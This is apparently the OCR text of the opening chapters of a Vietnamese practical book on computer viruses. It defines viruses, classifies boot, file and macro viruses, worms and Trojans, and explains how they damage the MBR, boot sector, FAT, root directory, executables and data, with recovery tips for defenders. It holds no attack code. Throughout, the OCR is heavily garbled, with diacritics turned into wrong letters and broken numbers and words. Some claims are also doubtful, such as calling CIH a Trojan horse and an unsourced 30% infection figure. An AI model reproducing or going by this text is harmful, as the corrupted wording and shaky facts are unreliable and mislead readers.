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LOI GIOY THIEU

Da tir [au, song hanh véi sy ra doi va phdt trién ciha
cdc chuong trinh phan mém may tinh nham dem lai ngay
cang nhiéu tién ich cho ngudi sir dung 1 su xuat hién va
bién dang cha cic chuong trinh phian mém pha hoai vdi
tén goi ding nhu ban chat cla né: Virus mdy tinh. Cac
chuong trinh ¢6 ich do cic cong ty phin mém san xuit
cang ¢4 gang dem lai sy thuan Igi cho ngudi ding bao
nhiéu, thi phia bén kia, trén phuong dién phd hoai, cic
phin mém dich bénh vé&i tén goi 1a Virus ciing lién tuc
xuat hién va hau qua coa né dé lai trén cdc mdy tinh clia
cdc cong ty, doanh nghiép va ¢4 nhan khip toan cdu ciing
khiing khi€p khong kém. Hé thong mdy chi thu dién tir
cha nhimg cong ty phidn mém I6n nhdt theé gi6i
Microsoft, Yahoo ciing d3 timg phai chao dao véi sir phd
hoai ctia virus, cdn d6i v&i cdc ngudi ding ca nhan,
thanh qua lao dong cha bao nhiéu ngudi trong sudt ca
thot gian dai duge cat giit rén cdc phuong tién luu trit



cua chi€c may tinh ¢4 nhan ciing di tan tanh chi sau mét
lan viéng tham cla cdc con sau phd hoai. Khong chi
dimg & ddy, virus mdy tinh ¢dn tao ra cic thong diép gia
dé danh Hra nhimg ngudi sit dung mdy tinh ¢6 quan hé
nhat dinh véi nhau va sir dung ngay thanh qua cha cong
nghé théng tin ka cdc hé thong thu dién tir, cdc trang web
lam phuong tién phdt tan.

Virus 14 mot chuong trinh v 1a mot chuong trinh phén
mém khé, nhung tai sao, thay vi tao ra cdc phian mém
thuong mai dé ban 1y tién, ai dé lai phéi ¢6 céng di xay
dung nhimg chwong trinh chi dé pha hoai nhu vay, va dé
bdn cho ai? Phén 16n cic chuong trinh véi muc dich den
t6i nay la san phdm c@ia nhimg ké ma ban than vé mat
chuyén moén tin hoc cé thé got 1a cdc chuyén gia, nhimng
bac thiay vé an toan bao mat, nhung dong co lam viéc thi
lai chi nham muc dich la phd hoai ngudi khac, hay doi
tht cua cong ty minh; hodc don gian chi 2 nhimg chang
~sinh vién nghanh mdy tinh muén thir nghiém, mudn
ching t6 kha nang. Pa cé ngudi timg vuot qua biét bao
nhiéu hé théng bao vé vdng trong, vdng ngoai dé xong
thang dugc vao tra.ng web cua co quan an ninh quéc gia
My khong phai vdi muc. dich tim ki€m thoéng tin ma don
gian chi la d&€ phuc vu céi ty kiéu ca nhén, ring minh cé
thé vuot qua tat cd dé vio duoc noi goi la an toan nhat,
khé khan nhit trén theé gidi. C6 thé cé mot s& d6i thi cta
Microsoft, vi lo ngai tru6c sy banh truéng va doc ton cioa



cong ty nay trén thi phan cdc phan mém tin hoc va truyén
thong mudn tim cich ha diét d6i tha bang viéc cho san
sinh ra cdc virus chuyén chi léy nhiém trén cac hé thong
mdy tinh sir dung phin mém ctia Microsoft va tham chi,
¢é nhitg ngudi cuc doan da ndi rang, virus la san phiam
cia cdc cong ty phadn mém chuyén san xuat cic chuong
trinh chéng Virus nham bin san pham phong chéng cla
minh cho ¢ic nan nhan.

Nhung du dung hay sai di chang nita thi sy xuat hién
cua Virus trong moi trudng lam viéc clia may tinh cling
dan t6i mot sy ra ddi bat budc cha cac chuong trinh
phong chéng Virus, va ching ta, nhiing ngudi so dung
may tinh, n€u khong biét tu bio vé ma khéng mudn bi
16n that béi cdc ban tay den cling chiing ¢é cach nao khéc
la budc long phai sit dung cdc chuong trinh nay. Cuén
sdch nay ra doi cling nhdm muc dich nhu vdy. Chung t6i
khong ¢o y dinh day ban tr& thanh cdc chuyén gia phong
chdng virus, dé Ia mot cong viéc khé va dé Jam duoce nd
doi hoi phai ¢6 mét sy dau tu chidu sau lau dai vé chuyén
mon, phai 1a cic chuyén gia chit khong thé don gidn qua
viéc doc moét cudn sdch du cudn sdch dé duoc viét nhu
thé nao di ching nita. Trong khuon kho han hep clia cuén
sdch nay, ching t6i chi c6 ging dem lui cho ban nhiing
hi€u bi€t can ban mang tinh khai niém vé virus, dé tir d6
ban ¢6 thé 4p dung cho viéc bao vé chiéc mdy tinh ctia



ban, hay rovig hon ¢6 thé 1a mang mady tinh clia co quan
ban. '

Day la mot cudn sdch thue hanh, va thuc sy ban khong
can phai ¢6 kién thifc tin hoc trude d6 dé doc va hidu né
r6i dp dung vao thuc €. nhung déi véi cic ban 1am cong
tdic chuyén mon trong nghanh mdy tinh nd ciing c6
nhimg thong tin dé cdc ban cé thé tham khao. Hy vong
rang ching t6i di dem lai cho ban nhiing thong tin ¢6
ich, va du ban Ia ai di chang nita cling déu khong cam
thdy lang phf th&i gian khi doc cusn séch nay. Xin chic
cac ban thanh cong.

Tdc gid



CHUONG 1
TONG QUAN VE VIRUS MAY TiNH

1. Virus may tinh la gi?

Virus mdy tinh thuc chdt 1a nhimg chuong trinh phan
mém miy tinh dugc thiét k& va cai dit mot cach Ién ldt
vao cdc h¢ thong may tinh thong qua céc con dudng khac
nhau, roi ty dong chay ngoai su kiém sodt clia ngudi sir
dung v6i myc dich duy nhit 1a phd hoai cdc hé théng nay
G cdc cip do khac nhau, nhe thi chi [a nhimg hinh anh,
dong chit tréu dida ty dong hién ra trén man hinh cha
ngudi st dung, nang hon c6 thé pha hoai cic tép tin
(files) h¢ théng, van ban, dit liéu..., tham chi ¢6 thé 1am
héng ca bo mach chinh cla mdy tinh. Dac diém chung
cla cac chuong trinh virus (Tir day goi tit 13 virus) Ia
chiing ¢6 kha nang wr nhan bén, sao chép chinh né vao
cic chuong trinh khic. D& lam duge viec nay, virus
thueng thuc hién nhimg budc sau:

a. Tim cdch gén vio d6i tugng chi (cic he théng may
tinh), stta d6i dir liéu sao cho virus nhan dugc quyén
diéu khi¢n méi khi chuong trinh chit dioc thue thi.



Khi duge thuc hién, virus tim kiém nhiing d6i tuong
khac (Cdc file, RomBios), sau dé lay nhiém lén nhiing
ddil tuong nay.

Tién hanh nhimg hoat dong phd hoai, do thdm...

Trd lai quyén thi hanh cho chuong trinh cha hoat
dong nhu binh thudng hoic phd huy luén todn bd hé
théng (Format 6 ciing, ghi d& cdc tri rdc vao RomBios dé
pha huy bo mach chinh).

Vé nguyén tic, virus chi ¢6 thé lay nhiém lén nhitng
doi tuong c6 chifa néi dung thi hanh duge (Executable
content), vi du nhu cdc file chuong trinh c6 phan mé&
rong (dudi).BAT, .EXE, .COM..., cdc tat liéu vin ban
Word, Excel, PowerPoint... hay tham chi cdc file
.CLLASS dugc viét bang Java.

2. Phan loai virus.

CS thé phan loai virus theo nhiéu cdch, dua trén
nhitng tiéu chi khdc rhau, tham xdc dinh nhimg kha
nang, tinh chat riéng biét cla méi nhém, tir d6 ¢6 phuong
phap phong chéng véi méi loai.

2.1 Phan loai theo déi tugng lay nhiém va moi
truong hoat dong.

Vi nhimg d6i tuong chit khdc nhau (Boot secter.. file
van ban, hé théng, RomBios...), virus s& ¢é cdu tric va
-cong nghé khéc nhau dé tién hanh lay nhiém. Mat khdc,
trén moi truong hoat dong clia méi déi tugng ch, virus



ciing phai ¢ nhimg cong nghé riéng biét, phu thude vio
mdi1 truong dé. Vi vay, phuong phdp nay cin ci vao doi
twong chi ma virus s& lay nhiém vd méi trudng hoat
dong clia virus d€ phéan loai. V6i phuong phéap nay c6 thé
chia ra nhimg loai virus sau:

- Virus Boot (B-virus): Cac loai virus lay nhiém Ién
BootSector trén dia mém hoic Master Boot Record va
Disk ‘Boot Record trén dia cimg, bang cdp phét file va
thu muc (File Allocation Table-FAT), bang dang ky
(Windows Registry) clia hé diéu hainh Windows...

- Virus File (F-virus): Céc loai virus lay nhiém cdc
dang file (cé chtra ndi dung thi hianh dugc - Executable
Content). Bao goém nhimg loai file chita mia may
(Machine Code) nhv cac file .COM, .EXE va nhimg loai
file chita mi gia (Pseudo Code) nhwr céc file .BAT, .DOC,
XLS. Trong loai nay, ching t6i tam chia thanh ba loai
nho:

Céc virus file hoat dong trén moi trudng DOS.

Céac virus file hoat dong trén mdi trudng Windows
3x/9x/NT/2000/XP. Bao pom cic virus lay nhiém céc file
thi hanh trén cédc hé di¢u hanh tuong ing.

Céc virus file hoat dong trén moi trudng cla cic 1ing
dung khdc. Bao goém cdc virus macro va cdc loai virus
khac nhu VBS virus, Java virus. ..

2.2. Phan loai theo phuong phap tim déi tuong lay
nhiém.
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Cac loat virus thuong ui (kich hoat ngay khi bat
mdy) c6 phuong phap tim ki€ém déi tuong lay nhiém rat
khac vai cic virus khong thutmg trid (Chi kich hoat khi
thuc hién mot tdc vu nao dé nhu copy, stra déi déi véi déi
tuong lay nhiém), do d6é c¢6 cau tric, cong nghé khac
nhau. Chiing 161 tam dinh nghia cho cdc loai nay nhu sau:

1. Virus thuong trid (Resident Virus): La virus kiém
soat hoat dong cua moi trudng diéu hanh va tién hanh
cdc tac vu nguy trang, phd hoai, anti-tunnel... Mdi khi
phdt hién cic tdc vu trén déi tuong chi, virus sé& tién
hanh lay nhiém.

2. Virus khoéng thutng trd (Tranéienl Virus hay
Runtime Virus): Virus khong kiém sodt hoat dong cla hé
théng. Mai khi duge kich hoat (khi déi twong chi duge
thi hanh) virus s€ ti€n hanh tim kiém cdc déi tuong khic
dé tién hanh lay nhiém.

2.3. Phan loai theo phuong phap 1ay nhiém,

Dung dé phan loai céc virus file, can ct vao phuong

phdp lay nhiém 1én d&t wrgng chi. Bao gém céc loai sau:
1. Ghi de¢ (Overwritting).

. Ghi d& bio toan (Non-Destructive Overwritting).

. Dich chuyén (Shifting).

. Song hanh (Companion).

. N1 thém (Appending).

. Cheén gitra (Mid-File).

. Binh huéng lai 1énh nhay (Jump Redirection).

~1 O Lh B L o
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8. bién khoang tréng (Space Filler).

Chiing ta s€ nghién ciu chi tiét cdc phuong phép lay
nhiém nay & cac phan sau cla cudn sdch nay.
2.4. Phan loai theo miic do pha hoai.

Cach phén loai nay chi gitip ddnh gid so b vé su pha
hoai cha virus, dé ¢6 phuong dn phong chéng thich hop.
C6 thé chia thanh hai loat:

I. Virus thong thudng (Normal Virus): Céc loai virus
khong tién hanh phd hoai dir liéu, hé¢ thdng, chi ¢6 tinh
chit tréu dia, hoic khong c6 anh hudng nguy hiém dén
dif liéw/mdy tinh.

2. Virus huy diét (Destructive Virus); Cdc loai virus
ti€n hanh céc hoat dong phd hoai dit licu/may tinh dién
hinh nhu Date, CIH, Nimda, Klez.E...

2.5. Phan loai theo ho virus.

Mot s6 virus duge phat trién cai tién lién tuc tir khi ra
doi, tao thanh mét ho cdc virus ¢d cdu tric, cong nghé
tuong d6i gidng nhau. Nhitng virus d6 6 thé phan thanh
mot ho. Chang han nhw ho virus Date, ho CIH, ho Tiny,
ho Klez, ho Nimda. ..

3. Mot sé tén goi khdc thudng ding cha virus
3.1 Ngua thanh Toroa (Trojan Horse).

Ngua thanh Toroa 1a cau chuyén truyén thuyét thoi
trung ¢6 néi vé cudc chién tranh clia cdc chién binh
ngudi Hylap khi danh chiém thanh Toroa (Trojan). Céc
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binh s§ Hy Lap sau khi t&n rat nhiéu mau, luong thao ma
vin khong ha dugc thinh, ho 1ién nghi ra mot ké: Gia vo
cdu hoa va dé nghi dugc dem bi€u dan ching thanh
Trojan mot con ngua gd khong 16. Vua, t6i thanh Trejan
ca mimg tudng rang tir nay the la chdm dit cudc chién
tranh v&i ngudi Hy Lap, ma khong ngd ring trong bung
con ngua gd ma ho nhan duge 1a hang chuc binh s§ diing
cam cta quan Hy Lap vdi ddy du vi khi giét ngudi. Nia
dém, khi moi ngudi di yén gifc vdi dém hoa binh dau
tién thi quin linh mai phuc trong bung ngua mai x6ng ra
chém giét hét cd vua 161, lam co thanh Trojan. Mo phong
cach ddnh chi€m thanh nay, cac chuyén gia chuyén nghe
phé hoai di tao ra virus Trojan Horse. Dic diém chung
cla loai virus nay 1a sau khi lay nhiém vao hé théng cua
ngudi sir dung thi ndm im trong may ma chi chd dén mot
ngay nhét dinh ndo dé trong nam mdi bung ra phd hoal.
Ban hiy hinh dung su nguy hiém cha loai virus nay khi
hang tram may tinh cia mdt cong ty cing nhiém loai
virus nay va tit ca cling sup do tat trong mét ngay. Mot
vi du dién hinh 12 CIH ngiy 26/4. Vi xuat hién khong 6n
ao va khong dé lai hau qua ngay sau khi lay nhiém ma
rat nhiéu ngudi khéng dé ¢ dé phong. Hé théng may tinh
todn cdu cia hang phin mém 1dn nhat nudec M§ va thé
gi6i Microsoft cling da timg khon kho véi loai virus nay.
Nam 2000, theo théng ké chua ddy da cta ching toi, ¢d
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it nhat khoang 30% s mdy tinh tai Viét Nam bi virus
nay phd hoat.

3.2 Sau Internet (Internet Worm)

Mat trdi cua mang Internet 13 dem dén cho nhitng ké
chuyén phd hoai mot moi trudng hét st Iy wong dé
truyen ba virus. Néu true day viéc 1am lay nhiém chi ¢
con dudng duy nhat la thong qua viéc cai dit chuong
trinh, copy files véi téc do lan rong dia 1y rat cham vi chi
co nhimg ngudi ¢6 quan hé nhat dinh véi nhau mdi ¢é
viéc sao chép dir ligu trén mdy cia nhau, thi ngay nay,
thong qua mang Internet, bing cdc chwong trinh thu dién
tlr, t6c do phat tdn cha cdc virus nhanh va rong khing
khi€p. Ngay sau khi tung lén mang, mét chuyén gia tai
My di ¢6 thé déng thdi cho virus giri thu di toan the gici
va con sdu internet nay 1ap tic thuc hién viéc pha hoai
trén pham vi toan céu. Cdc loai sau internet ching toi
tam chia [am 02 loai chinh :

I. @m (Mailer - Ngudi gini thu): Dang ndy théng
thudng gui cho cic d6i tugng 1a ngudi diing thu dién tir
mot thong diép ¢6 dinh kém mot file nio d6. Néu ban 1a
ngudl nhan thu va khi ban khong hi€u rd nguén goc cua
thong diép nay ma ngay tho kich hoat file glri kem thi
con sau nay s€ l4p tdc thue hién viéc lay nhiém lén méy
cha ban,
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2. @mm (Mass Mailer - Ngudi gli thu khong kiém
soat duoc): Dang nay con nguy hiém hon boi phin so véi
loai @m, vi ciing su dung thu di¢n tir ¢¢ dinh kem file
twong wr nhu loai @m, nhung sau khi ban kich hoat file
etri kém, né dong thai 1am 02 viée sau:

- Thuc hién viéc lay nhiém ién hé thdng cta ban.

- Lan fim trong s6 dja chi cGa chuong trinh thir trén
mdy cua ban cdc dia chi lién lac ma ban da tao trude d6
va glri thu cho nhitng dia chi nay véi mot thong diép ¢6
dinh kém mot file bat k¥ ndo dé 14y trén may cia ban c6
nhiém chinh né. Vi vay 16¢ d¢ lay nhiém ctia loai nay ¢6
thé dugc tinh bing cdp s6 mil.
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CHUONG 11
CAC HINH THUC PHA HOAI
CUA VIRUS MAY TINH

1. Céc hinh thirc pha hoai cua B- virus

Lay vao cdc mau tin khéi dong (MTKD - bao gém
master boot cua dia cing, boot sector clia dia clng, vi
dia mem), B - virus chi c6 thé duge kich hoat khi 1a khoi
dong mdy tinh bang dia nhiém. Luc nay hé théng chua
dugc mot he diéu hanh (HDH ) nio kiém so4t, do dé B -
virus ¢6 thé khéng ché h¢ thong bing cich chiém ngit
cua BIOS, chit véu 1a Int 13 ( phuc vu dia), Int 8 (dong
ho). Nho ddc diém nay ma né ¢ kha nang lay trén moi
HDH. Néu mét B- virus duge thiét k¢ nhdm muc dich
pha hoai thi d6i tuong chinh cha ching 1a dia va céac
thanh phéan cla dia. B¢ mé rong tam hoat déng, mot s6
loai con ¢6 kha nang tan cong 1én file khi qud trinh khéi
dong cia HDH hodn tat, nhung d6 chi 1 nhing trudng
hop ngoai 1¢, ¢6 hanh virus pha hoai giéng nhy F-virus.
Chung ta s€ xem xét timg thanh phan chinh ciia dia, bao

17



som master boot, boot sector, bang FAT, bang Thu muc.
Ving dit li¢u...

1.1 Master Boot Record

Master Boot Record chi ¢d mit trén dia cing, nam tai
sector 1. track 0O, side 0. Ngoal doan ma tim HPH trén
dia. master boot con chira Partition table. Day la mét
bang tham s6 nam tai offset 1BEh, ghi nhin ciu tric vat
IV cta dia cung trong qud trinh FDISK: dia dugce chia lam
hao nhicu partition (6 16gich), dia chi bidr ddu va két thiic
Mot partition. partition nao chita hé diéu hanh hoat
dong... Cac thong tin ndy rat quan trong, hé thong & 1o
foan hoiic khong thé nhan dang dia citng néu ching bi sai
Iéch.

Khi ghi viio master boot, virus thudng gilr lal
partition table. Do dé dé diét B - virus . ta chi cdn cap
nhit master boot. C6 thé dung 1énh FDISK/MBR cho
muc dich néi trén. Luu ¥ réng lénh niy khong cap nhat
partition table, do dé néu B - virus thuc hién ma hod
Partition ( khi€n may " mat " dia C khi khoi dong tir A),
ta phai hru lal master boot ( c¢é chita Partition) sau khi
FDISK.

1.2. Boot Sector

Giong nhu master boot, khi ghi vao boot sector, B -
virus thuong git lai bang tham s6 ¢ dia (BPB - BIOS
Parameter Block). Bang niy nam & offset OBh clia boot
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sector, chia cdc thong so quan trong nhu dau hiéu nhan
dang loat dia. s6 bang FAT, so sector danh cho bang
FAT. tong 6 sector trén dia... C6 thé phuc héi boot
sector bang iénh SYS.COM cla DOS. Mot s virus phd
hong BPB khi¢n cho hé théng khong doc dugc dia trong
moi trudng sach (va lénh SYS ciing mét tic dung). Dai
v6i dia mém, viéc phuc héi boot sector (bao gom BPB)
khd don gian vi chi c6 vai loai dia mém thong dung
(360KB.720KB,1.2MB, 1.44 MB), ¢é thé 18y boot sector
bat ky clia mot dia mém ciing loai dé khoi phuc BPB ma
khong cin format lai todn bo dia. Tuy nhién vén dé tré
nén phitc tap hon trén dia cing: BPB cia dia duoe tao ra
trong qua trinh FDISK dua trén cdc wy chon cha ngudi
ding cling nhu cic tham s& phuc vu cho viée phan chia
dia. Trong mot s6 trudng hop. phidn mém ND ¢6 thé phuc
héi BPB cho dia cimg, nhung do trude dé mdy phai khoi
dong tir A (vi BPB cla dia ciing cling d3 hong, khong
kh&i dong dugc), nén viéc quan 1y cac phén tiép theo cia
dia s& gap kho khin. Tét nhat nén luu lai boot sector cia
dia cimg dé c6 thé phuc héi chiing khi cén thiét.

Mot di€u cdn liu y 14 khong nén 14y master boot
{(hodc boot sector) clia dia ndy chép cho dia khdc néu nhur
dung lwgng cua ching khdc nhau vi khong duge phan
hoach ciing tham s¢.

L.3. Bang FAT (File Allocation Table)
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Puoc dinh vi mot cich dé dang ngay sau boot sector,
FAT la mét "miéng mdi ngon” cho virus. Day 14 bang
ghi nhan trat tu lue trll dir lidu theo don vi lién cung
(cluster) trén dia & ving dir liéu cua DOS. Néu hong mot
trong cdc mat xich cia FAT, dit liéu lién quan s khong
truy nhap duge. Vi tinh chit quan trong cva nd, FAT
luon duge DOS Iuu trit thém mot bang du phong nam ké
bang chinh. Tuy nhién cdc virus d sic dinh vi FAT?
khién cho tinh can than cla DOS tré nén vo nghia. Mat
khac, mot s¢ DB-virus (Double B-virus) thuong duge
chon céc secter cudi caa FAT dé lwu phan ¢on lai cha
progvi. Trong da so trudng hop, ngudi ding thudng ciu
¢tu cac chuong trinh chita dia, nhimg nhitng céng ty nay
chi ¢ thé dinh vi cdc lién cung that lac, phuc héi mot
phan FAT hong... chid khong thé khoi phuc lai toan bo iy
mot bang FAT chi chita toan "ric”. Hon nita thong tin
trén dia luon bién dong, vi vay khong thé tao ra mot bang
FAT "du phong" trén dia mém nhu d6i voi master boot
secter duve. Cich t6t nhét van la sao luu du phong 4t ca
dit licu quan trong bing cdc phuong tién luu (i tin cay.
1.4. Bang Thu muc (Root directory).

Ngay sau FAT2 1a bang Thu muc chita cdc tén hién
thi trong énh DIR\ bao gom nhin dia, tén file, tén thu
muc. Méi tén dugce 16 chife thanh entry ¢6 dé dai 3 byte,
chua tén entry, phin md rong, thude tinh, ngdy gid, dia
chi luu trit, kich thudc (néu entry dic ta tén file). Dudi
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mot moi trudng Windows93, kich thude cia mot entry ¢é
thé 1i bo 6 cta 32 byte dung cho tén file qud dai.

DOS quy dinh mot thu muc s& két thic bang mot
entry bat ddu véi gid tri 0. Vi vay dé vo hién ttmg phén
Root. virus chi cdn dat byte 0 tai mét entry nao dé. Néu
byte nay duoce dat ¢ dau Root thi ca dia s& tréng réng
mot cich tham hai! Trudong hop DB_virus chon cde
sector cudi clia Root d¢ fuu phan con lai cia progvi ciing
gay hau qua giong nhu trrong hop bang FAT: néu viing
nay da duge DOS st dung, cdc entry trén dd s& bi pha
huy hoan t0an.

Vi so lugng cdc entry (rén Root ¢6 han, DOS cho
phép ta tao thém thu muc con dé mé rong cic entry ra
ving dir liéu. Chinh vi thé nd: dung cla Root thusng
it bicn dong do chi chita cdc file h¢ théng nhu
I0.SYS.  MSDOS.SYS. COMMAND.COM. CONFIC.SYS.
AUTOLEXEC.BAT, cdc tén thu muc nam & gdc¢... do d6 ta ¢6
thé tao ra mot ban Root dy phong, véi dicu kien sau dé
khong thay d6i/ cap nhap bal cit mot entry nao. Didu nay
s€ khong can thi€t trén hé thong ¢6 4p dung cic bién
phép sao luu dir liéu dinh ky.
1.5.Vung dir licu

bay la vang chia di licu ten dia, chiém ty 1é 16n
nhdl, nam ngay sau Root. Ngoai trir mét s8 it DB_virus
sir dung vai seclor & viing niy dé chia phan con lai clia
progvi (xdc xuat ghi d& I¢n file rat thap), ving dir lieu
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duge coi nhu viing ¢6 d¢ an toan cao. tranh duoc su
"nhom ngd” cta B_virus. Ching ta s& lgi dung dac diém
nay dé bao vé dif licu khoi sur tdh cong cla B_virus (chu
y¢u vao FAT va Root, hai thanh phan khong thé tao ban
sao du phong).

Khi thue hién qué trinh phan chia dia bang FDISK, da
s0 nguoi ding c6 théi quen khai bdo toan bé dia cimg chi
cho mot partition duy nhdt ciing chinh la dia khdi dong
cua he thong. Viéc sir dung mot 6 dia logich (duge DOS
ghi nhan 12 & C) chi ¢6 cdi loi 1a sir dung don gian, cdn
bat loi 16n nhat 1a khi FAT, Root bi B_virus ph4 hong,
toan bo di liéu trén dia s&€ mat theo. Mat khdc, khi dung
htong cia dia qud 16n s6 luong céc sector trén mot
cluster do DOS quan 1y s& tang lén, khién viéc luu iy
trén dia trd nén phung phi. Tai sao ra khong s dung
viing dif liéu clia dia vat 1y cho viéc hru trix dir liéu trén
dia 16gich? D6 chinh [a van dé méau chét cla giai phap
chia 6 dia vat ly thanh nhiéu 8 dia 16gich. Vi du 1a chia
dia ciing 1am hai 6 logich C va D, & C (chita boot sector
cta h¢ diéu hanh) chi dung dé khdi dong, céc tién ich,
phidn mém ¢ thé tu cai dat mot cich dé dang, rieng 8 D
dung chifa dir liéu quan trong. Khi FAT, Root cha dia
cing bt B_virus tdn cong, ta chi cdn cai dit lai cac phan
mém trén C ma khong so bi anh hudng dén dir lidu trén
D. néu dia ciing 40 16n, ta nén chia chiing theo ty 1& 1:1
(hodc 2:3) d€ nang cao hiéu qua sir dung. Véi nhitng dia
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cting nho. ty 1¢ nay khong dap dng duge nhu cio fuu i
clta cdc phan mém ldn. do do ta chi can khai bao dia C
v kich thudge di cho hé diéu hanh va cie tién ich can
thiét ma thot. Lie nay tinh Kinh (€ phai nhudng ¢ho cho
su an wan.

Tuv nhién, gial phdp nay chi mang tinth tuong doi. vi
néu 16n tai mo1 B_virus ¢6 kha nang wr dinh vi dia chi vat
Iy cha partition (hit hai dé phi hoai thi van dé s& khong
don gian chit nao.

2. Cac hinh thic pha hoai cua F-virus

Néu nhu cae B virus ¢6 kha nang lay nhiém uén
nhi¢u HDH va c¢hi khai thic cde dich vu dia cua ROM
BIOS. thi ¥ virus chi lay trén mot HDH nhit dinh nhung
nevoe lai ching ¢6 the khai thac rat nhiéu dich vy nhap
XUAL clia 1IDIL do. Che F_virus dudi DOS cha yéu kha
thic dich vu truy nhap file bang cdc him c¢ia ngit 21h.
Mot s6 it st dung thém ngat 13h (hinh thdc phd hoat
e10ng nhu B_virus), do dé ta chi can xem xét cice trudng
hop dung ngét 21h cla F_virus.
2.1.Lay vao file thi hanh

Diac diém chung cia F-virus td chiing phai dinh
progvi vao cic @p tin thi hanh dang COM, EXE. DLL.
OVL.... Khi cdc 1ap tin nay thi hanh, F_Virus s& khéng
che viing nhd va lay vio tap thi hanh khac. Do do kich
thudc ¢0a cdc tap tin nhiém bao gio cling 16n hon kich

23



thude ban daw. Pay chinh 1a dau hiéu dic trung co ban
dé nhan dang su ton tai ctia F_virus 1rén file thi hanh. DE
khac phuc nhuoe diém nay, mot s6 F_virus giai Gquyet
nhu sau:

- Tim trén file cdc buffer du 16n dé chén progvi vio.
Véi cach nay, virus chi ¢ thé lay trén mot s6 it file. Dé
md rong tim lay nhiém, chiing phai ton thém giai thuat
dinh progvi vao file nhu cac virus khac va kich thudc file
lai tang 1én!.

- Khéng ché cdc ham tim, ldy kich thudc file cita
DOS, gay nhéu bang cdch tra lai kich thude ban dau.
Cach nay kha hiéu qia, <6 thé che diu sy ¢6 mat cla
ching trén file, nhuing hoan toan mat tic dung néu cic
tap tin nhiem dugc kiém tra kich thudc trén hé théng
sach (khong cé mit virus trong viing nhd), hoiac bang cdc
phan mém DiskLook nhu diskEdit PCTool...

- Lay trye 1i€p vaao cdu triic the muc cha dia (dai dién
cho loai nay la virus Dir2/FAT). Cich nay cho lai kich
thude ban dau rat t6t, ké ca méi truomg sach. Tuy nhién
ta ¢6 the dung lénh COPY dé kiém tra st ¢6 mat cla loai
virus nay trén thu muc. Hon nia, su ra doi cua
Windows95 di cio chung cho ho virrrus Dir2/FAT. vi
v6i muc dich bao vé t@n file dai hon 13 ky tu, HDH nay
khong cho phép truy nhip truc tiép vio cau tric thir muc
cda dia.
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Nhu vay viéc phat hién F_virus trén [ile chi phu thude
vao viée gidm sdt thudng xuyén kich thude file. Dé lam
diéu nay. mét s6 chuong trinh AntiVirus thudng eiit lai
kich thude ban dau lam co s& doi chicu cho cdc l4n duyét
sau. Nhung li¢u kich thudc duge luu ¢6 thue su 1A "ban
dau” hay khong? AntiVirus ¢6 dit thong minh dé khing
dinh tinh trong sach cia moét tap tin bat k¥ hay khong?
Dé dang nhan thdy ring céc tap tin COM, EXE la dsi
twgng tan cong dau tién cua F_virus, Cdc t4p tin nay chi
€O gia tri trén moét hé phan mém nhit dinh ma ngudi
dung bao gi¢r cling luu lai mét ban du phong sach. Vi
vay, néu ¢é di cd sd d¢ chic chin vé sur gia tang kich
thudc trén cic 1ap tin thi hinh thi bién phdp t6t nhar vin
la khoi dong lat mdy bang dia hé théng lau sach, sau d6
tién hanh chép lai cic tap thi hanh tir bo du phong.
2.2.Nhiém vao vung nhg.

Khi lay vao céc fite thi hanh. F_Virus phai bio toan
tinh logic cta chit thé. Do dé sau khi virus thue hién con
¢O cac tdc vy thudng trd. Viéce thudng tru cha F-Virus chi
lam sup do he théng (1a diéu ma F_virus khong mong doi
chit niw) khi ching lay ra nhilng xung dot @ tinh nhat
qudn cua ving nhd, khai thic vung nhé khong hop 1én,
lam ré1 loan cdc khéi/irinh diéu khién thiét bi hién
hanh... Cdc sur ¢4 nay thudng xay ra doi v&i phan mém
doi hoi vung nhé phai 16 chitc nghiém ngat, hoac trén cdc
HDH d6 s0 nhu Windows9X, NT, 2000. Thuc t&¢ cho
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thay kht F_virus nhiém vdo céc file DLL (Dynamic Link
Library- Thu vién Lién két dong) ctia Windows. HDH
nay khong the khai dong duge. Trong nhitng trutmg hop
tuong tu. ching ta thudng t6n khd nhicu cong sdc (va
ticn bac) dé cai dat lai ca bé Windows ma khong du kién
nhan tim ra nguyén nhan hong héc & mot vai DLL nio
do. _

Khi thudng ud, F_virus luon chiém dung mot kho
nhd nhit dinh va khong ché cdc tac vu nhap xudt cla
HDH. C6 the diing cdc trinh quan Iy bo nhé dé phdt hién
su thay doi kich thude viing nhé danh cho DOS. Thuat
nglt "diét F_virus trong ving nhé" mi cic AntiVirus
thudng (i s dung chi i tde vu ngdn chin cic th tuc
lay nhiém va phd hoai cla virus chir khong thé ra lai cho
DOS ving nhd da bi chiem ci. TSt nhét nén kKhéi dong
Jai may sau khi diét F_virus trén file.

C6 mét khdam phd thd vi cho viee bdo vé hé thong
khdi su lay nhiém cla F_virus trong viing nhd la chay
cac tng dung DOS (ma ban khong chac chin vé sur trong
sach cita chiing) dudi nén Windows. Sau khi ting dung
ket thic, HDH nay s& giai phéng tat ca cdc trinh thudng
trd c6 dién (k€ ¢a cac F_virus) néu nhu chiing dugc sir
dung trong chuong trinh. Phuong phdp niy khong cho
F_virus thudng trd sau Windows, nhung khong ngan can
chiing lay vao céc file thi hanh khic trong khi (ng dung
con hoat dong.
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2.3 .Pha hoai dir liéu

Ngoai viée phd hoal dia biang Int 13h nhw B_virus,
F_virus thudng diing nhitng chic nang vé file cua Int 21h
dé thay déi noi dung cdc tap tin dit liéu nhu van ban,
chuong trinh ngudn, bang tinh, tap tin co sd dir liéu, tap
tin nhi phan... Thong thudng virus s& ghi"ric" vao file,
cac dong thong bio dai loai "File was destroyed by
virus..." hodc xod hian file. D6i khi d6i tuong phd hoai
cua ching 1& cac phan mém chdéng virus dang thinh hanh.
Vi file bi ghi dé (ovrwrite) nén ta khong thé phuc héi
duoc dit li¢u vé tinh trang ban dau. Bién phdp 16t nhat ¢6
thé 1am trong trudng hop nay la ngung ngay céc tic vu
truy nhap file, thodt khoi chuong trinh hién hanh, va diét
virus dang thudng trd trong ving nhd.

3. C4c hinh thite pha hoai cua Macro virus

Thuat ngit "Macro virus”" dung dé chi céc chuong
trinh st dung lénh macro cha Microsoft Word hoic
Microsoft Excel. Khac vdi F_virus truyén théng chuyén
bam vao cic file thi hanh Macro virus bdm vao cac tap
tn van ban.DOC va bang tinh.XLS. Khi cdc tap tin nay
duge Microsoft Word (hoac Microsoft Excel) md ra,
macro s¢ duge kich hoat, tam tri vio NORMAL.DOT,
roi lay vio tap DOC, XLS khdc. Day 1a mot hinh thitc lay
mai, tién than cha ching 13 macro Concept. Tuy ban ddu
Concept rat "hién" nhung do né khéng che ddu cong
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ngh¢ lay nay nén nhiéu hacker khdc dé dang nim duoc
